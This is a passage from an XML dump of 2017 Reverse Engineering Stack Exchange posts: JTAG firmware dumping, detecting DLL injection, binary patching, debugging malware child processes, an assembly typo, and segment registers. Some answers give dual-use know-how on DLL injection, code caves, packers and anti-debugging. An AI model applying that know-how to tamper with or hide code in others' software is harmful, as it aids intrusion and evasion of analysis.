$_TARGETNAME&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the source, &lt;code&gt;target/bcm5352e.cfg&lt;/code&gt; , it refers to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set _CHIPNAME bcm5352e&#xA;set _CPUID 0x0535217f&#xA;&#xA;jtag newtap $_CHIPNAME cpu -irlen 8 -ircapture 0x1 -irmask 0x1f -expected-id $_CPUID&#xA;&#xA;set _TARGETNAME $_CHIPNAME.cpu&#xA;target create $_TARGETNAME mips_m4k -endian little -chain-position $_TARGETNAME&#xA;&#xA;gdb_memory_map disable&#xA;$_TARGETNAME configure -event gdb-attach {&#xA;   reset&#xA;   halt&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I open a new terminal and telnet into the socket openocd has opened for communication and I dump the firmware as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dump_image fw.bin 0x1c000000 0x00400000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The values are adapted from the &lt;code&gt;linksys-wrt54gl.cfg&lt;/code&gt; file shown previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas what might be wrong using/connecting the JTAG and dumping the firmware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info about the current Linksys-Wrt54gl:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model: WRT54GL-EU&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firmware Version: v4.30.7, Jun.20, 2006&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A copy of the &quot;dumped&quot; firmware can be obtained here:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/kl02cnc5qqddx1x/fw.bin?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/kl02cnc5qqddx1x/fw.bin?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2209" LastEditorUserId="2209" LastEditDate="2017-06-29T17:00:14.637" LastActivityDate="2017-06-29T17:00:14.637" Title="How to convert the dumped firmware (from linksys-wrt54gl via JTAG port) in an understandable format" Tags="|debugging|binary-analysis|firmware|mips|jtag|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="15510" PostTypeId="1" CreationDate="2017-06-08T21:28:27.660" Score="3" ViewCount="1718" Body="&lt;p&gt;I'm trying to figure out how can I detect a process for being injected with a dll.&#xA;I found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2262/how-can-dll-injection-be-detected&quot;&gt;this&lt;/a&gt; thread but I couldn't figure out a simple way out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to clarify my intention: given a pid - I want to return an answer if that process was injected with a dll or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of dumping all the dependencies of a process and then compare it to the running process - the problem is that the dependencies load their own dlls...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard that Anti viruses compares check sums or something like that - but couldn't understand how exactly.&lt;/p&gt;&#xA;" OwnerUserId="20480" LastActivityDate="2018-03-31T13:03:18.900" Title="Detect a process for being injected with a dll" Tags="|dll|injection|" AnswerCount="1" CommentCount="0" ClosedDate="2018-04-02T20:00:28.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="15511" PostTypeId="1" CreationDate="2017-06-09T05:46:37.340" Score="0" ViewCount="472" Body="&lt;p&gt;How to properly define these so many &lt;code&gt;this&lt;/code&gt; variables in C++ programs. Is it a structure or something else at the assembly level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this function seems to allocate heap memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __thiscall heapAlloc(int this, char *Str)&#xA;{&#xA;  int v2; // esi@1&#xA;  size_t v3; // eax@2&#xA;  char *v4; // eax@2&#xA;&#xA;  v2 = this;&#xA;  *(_DWORD *)(this + 4) = -1;&#xA;  *(_DWORD *)(this + 308) = -1;&#xA;  *(_DWORD *)this = 0;&#xA;  *(_DWORD *)(this + 312) = 0;&#xA;  *(_DWORD *)(this + 316) = 0;&#xA;  if ( Str )&#xA;  {&#xA;    v3 = strlen(Str);&#xA;    v4 = (char *)operator new(v3 + 1);&#xA;    *(_DWORD *)(v2 + 312) = v4;&#xA;    strcpy(v4, Str);&#xA;  }&#xA; return v2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20483" LastEditorUserId="53" LastEditDate="2018-09-27T07:48:17.987" LastActivityDate="2018-09-27T07:48:17.987" Title="How does look &quot;this&quot; variable in C++ at the assembly level?" Tags="|ida|c++|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15515" PostTypeId="2" ParentId="12874" CreationDate="2017-06-09T11:31:40.680" Score="4" Body="&lt;p&gt;Consider also &lt;a href=&quot;http://www.jetbrains.com/decompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JetBrains dotPeek&lt;/a&gt; that is free, decompiles .NET 1.0-4.5 assemblies to C#. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has support for .dll, .exe, .zip, .vsix, .nupkg, and .winmd files.&lt;/p&gt;&#xA;" OwnerUserId="20488" LastActivityDate="2017-06-09T11:31:40.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15518" PostTypeId="2" ParentId="15510" CreationDate="2017-06-09T17:30:28.627" Score="1" Body="&lt;p&gt;You can recursively follow dependencies to figure out which DLLs were loaded directly by the Windows loader. You may create an &lt;code&gt;imported modules list&lt;/code&gt;. Fill &lt;code&gt;imported module list&lt;/code&gt; with every module you find in the main PE's import table. Then recursively parse the import tables of all DLLs you found that way. You'll have a list with all DLLs imported. Then, just compare it to the list of loaded modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discrepancies you find might be either injected DLLs or dynamically loaded DLLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Identifying dynamically loaded DLLs might be a bit more challenging, but one way to identify those is to disassemble the executable and search for calls to &lt;code&gt;LoadLibrary&lt;/code&gt;, &lt;code&gt;LoadLibraryEx&lt;/code&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-06-09T17:30:28.627" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15521" PostTypeId="2" ParentId="15505" CreationDate="2017-06-09T21:49:52.850" Score="0" Body="&lt;p&gt;The function at sub_80484B4 does however return its value in eax, so the push could be to preserve the original value of eax. Which isn't used either from what can be seen in the disassembly.&#xA;Probably wasn't compiled with optimisation in that case&lt;/p&gt;&#xA;" OwnerUserId="18769" LastActivityDate="2017-06-09T21:49:52.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15522" PostTypeId="2" ParentId="15497" CreationDate="2017-06-09T22:48:42.803" Score="1" Body="&lt;p&gt;Look at the place where &lt;code&gt;sprintf&lt;/code&gt; is called and you should see the arguments being pushed in the correct order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variables listed here are local variables of the function &lt;code&gt;manage_request&lt;/code&gt; and not its &lt;em&gt;arguments&lt;/em&gt;. They're &lt;em&gt;arguments of the &lt;code&gt;sprintf&lt;/code&gt; call&lt;/em&gt; but the variables themselves can be placed in whatever order the compiler decides in the stack (usually, but not always, the order they were declared in the source code).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-06-09T22:48:42.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15523" PostTypeId="1" CreationDate="2017-06-10T10:58:51.803" Score="5" ViewCount="268" Body="&lt;p&gt;Like if I want to patch a function in a PE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my way of doing this would be inserting a new section using lets say LordPE and then compiling anything I want to add up here and patching the original code to link up there but is there a better way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know, maybe some way to export the binary to ASM files which then I could compile back with GCC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because like I want to make big changes to the binary - I'm thinking of parallelizing a part of the code. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="2147" LastEditDate="2017-06-11T04:29:54.627" LastActivityDate="2017-06-12T11:30:05.733" Title="What's the best way of improving already compiled binary?" Tags="|c|binary|patching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15525" PostTypeId="1" AcceptedAnswerId="15526" CreationDate="2017-06-10T16:42:12.507" Score="-2" ViewCount="251" Body="&lt;p&gt;I am trying to make things harder for someone to reverse my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that implementing a shellcode following this &lt;a href=&quot;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; could work for my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I access (or share) global variables in the shellcode I am loading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you can pass variables as arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12793" LastEditorUserId="12793" LastEditDate="2017-06-20T23:55:51.233" LastActivityDate="2017-06-20T23:55:51.233" Title="Anti-Reverse Question on implementing a Shellcode" Tags="|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15526" PostTypeId="2" ParentId="15525" CreationDate="2017-06-11T04:21:43.937" Score="4" Body="&lt;p&gt;Writing a shellcode is often a task considerably more difficult than developing a piece of software. To me it seems your assumption about developing your program as a shellcode is incorrect and will create problems for you later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This kind of thing is often addressed using Packers and Crypters. There are several relatively simple ones (like &lt;a href=&quot;https://upx.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;UPX&lt;/a&gt;), while some are considered quite effective (&lt;a href=&quot;https://www.oreans.com/themida.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Themida&lt;/a&gt; and &lt;a href=&quot;http://www.aspack.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASPack&lt;/a&gt;). There are many more available packers to choose from, some are free and some are commercial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are reluctant to use any of the available packers I believe researching that domain will prove more fruitful to your goal. Using a shellcode will more often require:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Writing location independent code.&lt;/li&gt;&#xA;&lt;li&gt;creating your own DLL loading/locating and API resolving functionalities.&lt;/li&gt;&#xA;&lt;li&gt;writing or editing assembly directly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And will however provide only little advantage over code compiled normally. For example, anti-debugging techniques (as mentioned in your comments) are not limited to &quot;shellcode&quot; and can just as easily be injected/written into C/C++ code. Moreover, most packers include anti-debugging tricks by default (or provide such configuration).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-06-14T14:15:18.610" LastActivityDate="2017-06-14T14:15:18.610" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15527" PostTypeId="2" ParentId="15523" CreationDate="2017-06-11T04:32:26.110" Score="4" Body="&lt;p&gt;To me it seems the best way to approach this, if planned changes are considerable, is to instead create a DLL (you seem to be discussing windows, although this could work in most environments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you'll only need to patch calls to your modified or new functionality functions. Either by first editing the Import Table or by dynamically loading your DLL using &lt;code&gt;LoadLibrary&lt;/code&gt; and functions using &lt;code&gt;GetProcAddress&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-06-11T04:32:26.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15528" PostTypeId="1" CreationDate="2017-06-11T13:47:04.313" Score="1" ViewCount="198" Body="&lt;p&gt;I am learning android reverse engineering, and want to know tools to hack native code.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;gdb to remotely debug the code, but I find it can not ever hit a breakpoint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/evilsocket/arminject&quot; rel=&quot;nofollow noreferrer&quot;&gt;arminject&lt;/a&gt; is a choice, it works on ARM, and has some issues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;IDA is great and too expensive for me.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any more suggestions?&lt;/p&gt;&#xA;" OwnerUserId="15565" LastActivityDate="2017-06-11T13:47:04.313" Title="Tools to support Android native code hacking?" Tags="|android|injection|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15530" PostTypeId="1" CreationDate="2017-06-12T09:57:38.727" Score="1" ViewCount="151" Body="&lt;p&gt;I have an old (I think) Windows software on a cd-rom, that is basically a database and its interface for show the data it contains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't like the software view interface, want to make my own with visual studio or similar, but of course I can't access the database. All that I know is it's made of a good number of IDF files, they contains both data and photos/images shown on the screen through the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is where to start if I want reverse engineering these files, getting the data with their relations. Would be enough have tables of strings and numbers. I have a little experience with rev.eng. made through Cheat Engine, for some games, but nothing more.&lt;/p&gt;&#xA;" OwnerUserId="20514" LastActivityDate="2017-06-12T09:57:38.727" Title="Reverse engineering proprietary database file format .IDF" Tags="|windows|decryption|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15532" PostTypeId="2" ParentId="15523" CreationDate="2017-06-12T11:30:05.733" Score="4" Body="&lt;p&gt;Exporting the file to ASM then re-compiling takes a very long time, is very complicated and should be only done if you have a decent active intelligent group. Believe me, I have done this. We reverse engineered a program back to compilable source. This project took way too long. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your changes were minor, I would recommend codecaving. Just create a PE section jump to it and make your changes , then jump back. &lt;a href=&quot;http://resources.infosecinstitute.com/adding-a-section-to-pe-binary/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tutorial on how to expand PE binary&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this before on large projects. And Usually a good clean approach is to use DLL injection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just make your functions to over write parts of the .exe and have your functions take place. I will post a few examples as well as a youtube series which goes into decent detail on what to do.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mpgh.net/forum/showthread.php?t=332194&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thread: How To : Make DLL Injection in C++&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=mCHYhOxwXuQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video Game Hacker Series Youtube&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Open Security reseacher&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will let you know that these methods can be dangerous and require administrator privileges to inject into the process. &lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2017-06-12T11:30:05.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15534" PostTypeId="2" ParentId="13689" CreationDate="2017-06-12T15:28:20.037" Score="1" Body="&lt;p&gt;you can check the exexcutable file using &quot;file&quot; command.&#xA;then you can find the file is an &quot;elf shared object&quot; NOT an &quot;elf executable&quot;.&#xA;however you can execute it directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you need to recomplie it using &quot;gcc xxx.c -no-pie -o xxx&quot;&#xA;then  debug it using &quot;radare2 -d xxx&quot;&#xA;and you're good to go&lt;/p&gt;&#xA;" OwnerUserId="20519" LastEditorUserId="20519" LastEditDate="2017-06-13T02:19:26.807" LastActivityDate="2017-06-13T02:19:26.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15535" PostTypeId="1" CreationDate="2017-06-12T18:43:54.753" Score="3" ViewCount="4486" Body="&lt;p&gt;I'm reverse engineering a malware that creates a number of child processes and I'm trying to do dynamic analysis of the ELF binary with IDA Pro and IDA's Local Linux Debugger, but I can't get IDA to attach to the child process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to force IDA to follow the child process instead of the parent one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using gdbserver which seems to lack the follow-fork-mode functionality of gdb and I couldn't find any information on child processes and the IDA Pro Linux Debugger.&lt;/p&gt;&#xA;" OwnerUserId="20524" LastActivityDate="2017-06-13T15:17:52.037" Title="IDA Pro debugging: follow child process" Tags="|ida|debugging|linux|elf|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15538" PostTypeId="1" AcceptedAnswerId="15539" CreationDate="2017-06-13T04:14:26.503" Score="3" ViewCount="1284" Body="&lt;p&gt;I am reading through the '&lt;em&gt;Practical Malware Analysis&lt;/em&gt;' book and got to page 74 which says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;lea ebx, [eax*4+4]&lt;/code&gt; is the functional equivalent of &lt;code&gt;ebx = (eax+1)* 5&lt;/code&gt;&#xA;  where &lt;code&gt;eax&lt;/code&gt; is a number.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As of my understanding, &lt;code&gt;lea ebx, [eax*4 + 4]&lt;/code&gt; should multiply &lt;code&gt;eax&lt;/code&gt; value by 4, add 4 to it and then store it back in &lt;code&gt;ebx&lt;/code&gt;, which is different than &lt;code&gt;(eax+1) * 5&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a typo? Or I got things wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it should be: &lt;code&gt;ebx = (eax+1) * 4&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="20356" LastEditorUserId="53" LastEditDate="2017-06-13T12:30:33.170" LastActivityDate="2017-06-13T12:30:33.170" Title="LEA assembly instruction" Tags="|disassembly|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15539" PostTypeId="2" ParentId="15538" CreationDate="2017-06-13T04:25:01.683" Score="6" Body="&lt;p&gt;This is a typo. The instruction &lt;code&gt;lea ebx,[eax*4+4]&lt;/code&gt; will set &lt;code&gt;ebx&lt;/code&gt; to &lt;code&gt;4*eax+4&lt;/code&gt; or &lt;code&gt;4*(eax+1)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I found a revision online of that book which has:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, it is common to see an instruction such as lea ebx, [eax*5+5], where eax is a number, rather than a memory address. This instruction is the functional equivalent of ebx = (eax+1)*5, ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so it seems as though it was corrected at some point. Note that, technically, &lt;code&gt;lea ebx, [eax*5+5]&lt;/code&gt; is really implemented as &lt;code&gt;lea ebx, [eax*4+eax+5]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="14715" LastEditDate="2017-06-13T04:43:34.213" LastActivityDate="2017-06-13T04:43:34.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15540" PostTypeId="2" ParentId="15511" CreationDate="2017-06-13T04:32:55.777" Score="1" Body="&lt;p&gt;This is indeed an object of a relatively big class. Only a handful of the class members are initialized in the provided  function. The function might be called by other initialization code, where other members are initialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often define a struct big enough to hold all members I encounter of a single class, where unknown portions are either undefined or a single array labelled &lt;code&gt;unknown_X&lt;/code&gt;. As I recognise more members the class structures become more complete and clear, as well as additional meanings are given to most members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While doing that, you should keep in mind classes might inherit one another, so class structures might be contained as other class structures and be used independently at the same time. I often combine and merge class structures as I go and when I'm confident enough structures are indeed shared. I find that reversing initialization code is very helpful in mapping classes and their structures.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="60" LastEditDate="2017-06-13T08:07:58.950" LastActivityDate="2017-06-13T08:07:58.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15541" PostTypeId="2" ParentId="15535" CreationDate="2017-06-13T04:40:41.500" Score="1" Body="&lt;p&gt;AFAIK IDA does not have that feature, so you'll have to do that yourself by breakpointing or stepping to calls to process creation functions (usually &lt;a href=&quot;https://linux.die.net/man/2/execve&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;execve&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://linux.die.net/man/2/fork&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fork&lt;/code&gt;&lt;/a&gt;, etc), and then forcibly debugging them either by using other IDA instances or creating gdb instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't be able to debug multiple processes in a single IDA instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to debug such processes, you could replace the execve with spawning the process yourself, attaching to the process, etc. There are &lt;a href=&quot;https://stackoverflow.com/questions/377195/how-to-debug-the-entry-point-of-fork-exec-process-in-gdb/43099366#43099366&quot;&gt;plenty&lt;/a&gt; of &lt;a href=&quot;https://stackoverflow.com/questions/6199270/how-do-i-debug-the-child-process-after-fork-in-gdb&quot;&gt;answers&lt;/a&gt; online, if you're not limiting to IDA specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you debugged a process, a common trick you could use is to put the debugged process into a &lt;code&gt;JMP $-2&lt;/code&gt; infinite loop (&lt;code&gt;EB FC&lt;/code&gt; on x86 CPUs), detach your original debugger, re-attach with IDA and restore the original instruction sequence you replaced with &lt;code&gt;JMP $-2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-06-13T15:17:52.037" LastActivityDate="2017-06-13T15:17:52.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15542" PostTypeId="1" CreationDate="2017-06-13T08:54:54.870" Score="3" ViewCount="521" Body="&lt;p&gt;I know that FS points to Thread Environment Block - which is seen by the address at the right part of what OllyDbg shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uk39L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uk39L.png&quot; alt=&quot;FS&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this value 0x53 mean? Does it have some connection with the address &lt;code&gt;0x7EFDD000&lt;/code&gt;? If to change FS value to 0x63 (for example), the address to the right becomes 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AsziK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AsziK.png&quot; alt=&quot;FS mod&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, if to change another segment register to 0x53, it will be also pointing to TEB:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TSrU1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TSrU1.png&quot; alt=&quot;CS mod&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should we interpret all the things?&lt;/p&gt;&#xA;" OwnerUserId="16505" LastEditorUserId="16505" LastEditDate="2017-06-13T10:23:49.237" LastActivityDate="2017-06-13T10:23:49.237" Title="What does fs register value mean in x86 application?" Tags="|windows|ollydbg|x86|" AnswerCount="0" CommentCount="2" ClosedDate="2017-06-13T12:36:26.607" ContentLicense="CC BY-SA 3.0" />
  <row Id="15543" PostTypeId="1" CreationDate="2017-06-13T14:06:22.640" Score="-1" ViewCount="621" Body="&lt;p&gt;I'm trying to figure out what this code is doing. &#xA;The first thing that I don't understand is the condition that tests if arg0's value is 0x2. I read that 0x2 in ASCII is STX (Start of text).&#xA;Here's the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main(int arg0, int arg1) {&#xA;    var_30 = arg1;&#xA;    var_14 = 0x7a;&#xA;    var_10 = 0x0;&#xA;    if (LODWORD(arg0) == 0x2) goto loc_4006f3;&#xA;&#xA;loc_4006df:&#xA;    rax = puts(&quot;Wrong&quot;);&#xA;    rax = exit(0x1);&#xA;    return;&#xA;&#xA;loc_4006f3:&#xA;    LODWORD(rax) = 0x0;&#xA;    var_8 = sign_extend_32(LODWORD(time(0x0)));&#xA;    var_14 = 0x22334455;&#xA;    goto loc_40075c;&#xA;&#xA;loc_40075c:&#xA;    if (var_14 &amp;gt; 0x10000000) goto loc_400711;&#xA;&#xA;loc_400765:&#xA;    if (LODWORD(atoi(*(var_30 + 0x8))) == var_14) {&#xA;        rax = puts(&quot;Congratulations&quot;);&#xA;    }&#xA;    else {&#xA;        rax = puts(&quot;Wrong&quot;);&#xA;    }&#xA;    return;&#xA;&#xA;loc_400711:&#xA;    var_14 = LODWORD(SeriousHash(LODWORD(var_14)));&#xA;    LODWORD(rax) = 0x0;&#xA;    rax = sleep(0x15180);&#xA;    LODWORD(rax) = 0x0;&#xA;    if (var_8 + 0x15180 &amp;lt;= sign_extend_32(LODWORD(time(0x0)))) goto loc_40075c;&#xA;&#xA;loc_400752:&#xA;    rax = exit(0x2);&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20534" LastEditorUserId="18014" LastEditDate="2017-06-13T17:44:51.107" LastActivityDate="2021-01-16T02:01:35.197" Title="Disassembling code with Hopper" Tags="|disassembly|binary-analysis|decompilation|gdb|hopper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15544" PostTypeId="2" ParentId="15543" CreationDate="2017-06-13T17:27:01.050" Score="1" Body="&lt;p&gt;It might be easier to read the actual disassembly rather than an attempted decompilation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;arg0 is really argc for the main function. So, it is comparing argc to 2 and exiting if it is not equal; i.e. there should be one argument passed to the executable (keep in mind there is always one implicit argument which is the executable name itself)&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-06-13T17:27:01.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15545" PostTypeId="2" ParentId="2006" CreationDate="2017-06-13T19:13:46.130" Score="8" Body="&lt;p&gt;i wrote a windows specific answer to a question that was marked as duplicate and closed and the close flag referred to this thread so i post an answer here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;os win7 sp1 32 bit machine&lt;br&gt;&#xA;kernel dump using livekd from sysinternals&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a 16 bit segment register contains&lt;br&gt;&#xA; 13 bits of selector&lt;br&gt;&#xA; 1 bit of table descriptor&lt;br&gt;&#xA; 2 bits of requester_privilege_level  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Selector        tl  rpl &#xA;0000000000000----0---00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so cs and  fs converted to binary will be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r cs;r fs&#xA;cs=00000008  = 0b 00001 0 00&#xA;fs=00000030  = 0b 00110 0 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2 bits rpl means 0,1,2,3 rings  ( so 00 = 0 = ring zero)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;gdt = 1 bit means 0,1     (0 is for &lt;strong&gt;GDT&lt;/strong&gt; and 1 is for &lt;strong&gt;LDT&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;global descriptor table and local descriptor table &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the high 13 bits represent segment selector&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so cs = 0x08 has a segment selector of 0b 001 = 0x1 ie gdtr@1&lt;br&gt;&#xA;&amp;amp;  fs = 0x30 has a segment selector 0f 0b 110 = 0x6 ie gdtr@6   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the kernel cs,fs are different from user cs,fs&#xA; as can be noticed from dg command from windbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dg @cs  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;--- kernel &#xA;                                  P Si Gr Pr Lo&#xA;Sel    Base     Limit     Type    l ze an es ng Flags&#xA;---- -------- -------- ---------- - -- -- -- -- --------&#xA;0008 00000000 ffffffff Code RE Ac 0 Bg Pg P  Nl 00000c9b&#xA;&#xA;0:000&amp;gt; dg @cs &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;----user 